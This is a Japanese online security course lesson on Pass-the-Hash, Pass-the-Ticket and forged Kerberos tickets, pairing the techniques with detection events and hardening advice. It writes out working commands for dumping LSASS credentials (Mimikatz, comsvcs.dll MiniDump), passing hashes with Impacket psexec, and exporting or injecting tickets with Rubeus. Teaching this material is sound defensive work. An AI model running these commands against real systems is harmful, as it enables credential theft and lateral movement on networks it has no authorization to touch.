Cyber Security Academy · レッスン

Pass-the-HashとPass-the-Ticket

盗まれた認証情報を再利用します。

レッスン 3/413 ステップ

「Pass-the-HashとPass-the-Ticket」はCoddyKit上の無料Cyber Security Academyレッスンです。 これはレッスン3/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはCyber Security Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Cyber Security Academyコースには全4レッスンが含まれています。

パスワードを使わない認証情報

Windows認証では、使用時点で平文のパスワードを必要としないことがよくあります。NTLMハッシュもKerberosチケットも、それ自体で認証に使用できます。攻撃者はこの点を悪用し、認証情報のアーティファクトを窃取して再利用します。

  • Pass-the-Hash (PtH)はNTLMハッシュを再利用します。
  • Pass-the-Ticket (PtT)はKerberosチケットを再利用します。
  • いずれもパスワードをクラックする必要はありません。

認証情報の保存場所

通常の運用中、認証情報のデータはメモリとディスクにキャッシュされます。一般的な保存場所には次のようなものがあります。

  • LSASSのプロセスメモリには、ログオン中のユーザーのハッシュとチケットが保持されます。
  • SAMデータベースには、ローカルアカウントのハッシュが保存されます。
  • DC上のNTDS.ditには、すべてのドメインハッシュが保存されます。
  • DPAPIで保護された認証情報ボルトやブラウザーの保存領域もあります。

最も一般的な収集手順は、LSASSをダンプすることです。

# Mimikatz: dump logon passwords and hashes
privilege::debug
sekurlsa::logonpasswords

# Comsvcs minidump of lsass (living-off-the-land)
rundll32 C:\windows\system32\comsvcs.dll, MiniDump <pid> lsass.dmp full

Pass-the-Hashの仕組み

NTLM認証では、チャレンジレスポンスによって、パスワードのハッシュを秘密情報として使用し、パスワードを知っていることを証明します。ハッシュを持っていれば、パスワードを一度も知らなくてもハンドシェイクを完了できます。

そのため、NTハッシュはパスワード相当物になります。NTLMを受け入れるサービスには、ハッシュだけでアクセスできます。

# Mimikatz pass-the-hash spawns a process with injected creds
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:<NThash> /run:cmd.exe

# Impacket psexec via hash
psexec.py -hashes :<NThash> corp.local/Administrator@10.0.0.20

Pass-the-Ticketの仕組み

Kerberosチケットはベアラートークンです。有効なTGTまたはTGSを持っている者は、有効期限が切れるまでそれを使用できます。攻撃者はLSASSからチケットを抽出し、自分のセッションに注入します。

  • TGTを窃取すると、そのユーザーとしてサービスチケットを要求できます。
  • TGSを窃取すると、特定の1つのサービスにアクセスできます。
# Export all tickets, then inject one
Rubeus.exe dump /nowrap
Rubeus.exe ptt /ticket:doIF... (base64 blob)

# Mimikatz
sekurlsa::tickets /export
kerberos::ptt ticket.kirbi

Overpass-the-Hash

Overpass-the-Hash(別名 pass-the-key)は、NTLMとKerberosを橋渡しします。窃取したNTLMキー(またはAESキー)を使って正規のKerberos TGTを要求し、その後はKerberosだけで操作します。

生成される通信が通常のKerberos認証に見えるため、通常のPtHよりも発見されにくい方法です。

# Rubeus: turn an NTLM hash into a TGT
Rubeus.exe asktgt /user:svc_sql /rc4:<NThash> /ptt

# AES key is even quieter than RC4
Rubeus.exe asktgt /user:svc_sql /aes256:<key> /ptt

Golden TicketとSilver Ticket

より深く侵入した攻撃者は、チケットそのものを偽造します。

  • Golden Ticketは、krbtgtハッシュで署名された偽造TGTです。任意のIDを付与でき、krbtgtを2回ローテーションするまで有効です。
  • Silver Ticketは、サービスアカウントのハッシュで署名された、1つのサービス向けの偽造TGSです。DCに一切アクセスしないため、発見されにくい特徴があります。
  • Diamond Ticketは、正規に発行されたTGTを変更し、チケット偽造の検知を回避します。

ラテラルムーブメントのパターン

再利用された認証情報がラテラルムーブメントを可能にします。一般的な実行経路には次のようなものがあります。

  • SMBとサービス作成(psexec-style)
  • WMIによるリモートプロセス作成
  • WinRM / PowerShell Remoting
  • DCOMによるオブジェクトのインスタンス化

窃取した同じハッシュやチケットによって、そのアカウントがローカル管理者である多くのホストのロックを解除できます。

ローカル管理者の再利用が危険な理由

複数のマシンで単一のローカル管理者パスワードを共有することは、壊滅的なリスクになります。一度ダンプすれば、そのパスワードを共有するすべてのホストにPtHで侵入できます。

LAPSは、マシンごとに固有のローカル管理者パスワードを設定してローテーションし、制限された読み取りアクセスでADに保存することで、この問題を解決します。

検知

これらの攻撃は、監視すべきデータを確認していれば、テレメトリに痕跡を残します。

  • Kerberosが想定される環境で、NTLMを使用するログオンタイプ 3 / 9
  • seclogonを伴うイベント 4624、または特権アカウントからの通常とは異なるNTLM
  • チケットの異常:先行するTGTのないTGS(Silver Ticket)、または有効期間が異常なチケット(Golden Ticket)
  • 標準以外のプロセスからのLSASSアクセス(Sysmonイベント 10)

防御策

堅牢化では、認証情報を保護し、分離することに重点を置きます。

  • Credential Guardを有効にして、VBSエンクレーブ内でLSASSの秘密情報を分離します。
  • 機密性の高いアカウントをProtected Usersに追加します(NTLMなし、委任なし、チケットの有効期間は短くなります)。
  • LAPSを導入し、管理者の階層化を徹底して、Tier 0の認証情報がワークステーションに置かれないようにします。
  • Golden Ticketの侵害が疑われる場合は、krbtgtを2回ローテーションします。

責任あるテスト

LSASSのダンプやチケットの偽造は、影響の大きい操作です。明示的な承認を得たうえで、合意された対象に対してのみ実施してください。スコープに含まれていない限り、本番DCのダンプは避け、収集したハッシュとチケットは報告後に安全に破棄してください。

防御チームが検知の発火を検証できるよう、認証情報を再利用した操作をそれぞれ記録してください。

理解度チェック

認証情報の再利用攻撃について理解できているか確認します。

復習

窃取したハッシュとチケットによって、パスワードを完全に回避できる仕組みを学びました。

  • PtHはNTLMハッシュを再利用し、PtTはKerberosチケットを再利用します。
  • Overpass-the-Hashは、ハッシュをクリーンなKerberos TGTに変換します。
  • Golden Ticket、Silver Ticket、Diamond Ticketは、永続化のために偽造されます。
  • Credential Guard、LAPS、Protected Users、krbtgtのローテーションが主要な防御策です。

次は、足がかりをドメイン全体の支配へと発展させる方法を扱います。

無料で開始

AI チューターと学ぶ Cyber Security Academy — 無料

ブラウザでリアルコードを書いて実行し、24/7 の AI チューターから瞬時にサポートを受け、ウェブまたはアプリで続きから学習できます。

コース
76
レッスン
303

よくある質問

「Pass-the-HashとPass-the-Ticket」レッスンは無料ですか?

はい。「Pass-the-HashとPass-the-Ticket」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Cyber Security Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Cyber Security Academyコースには全4レッスンが含まれています。

「Pass-the-HashとPass-the-Ticket」で何を学びますか?

盗まれた認証情報を再利用します。 ブラウザで直接実行するハンズオンコードでCyber Security Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。

Cyber Security Academyを始めるのに経験は必要ですか?

事前経験は必要ありません。CoddyKitのCyber Security Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン3/4です。

「Pass-the-HashとPass-the-Ticket」レッスンにはどのくらい時間がかかりますか?

ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。

このCyber Security Academyレッスンでコードを書いて実行できますか?

はい。すべてのCyber Security Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。

このコースのすべてのレッスン

  1. Active Directoryの攻撃対象領域
  2. KerberosとKerberoasting
  3. Pass-the-HashとPass-the-Ticket
  4. 権限昇格とドメイン支配
← Cyber Security Academyに戻る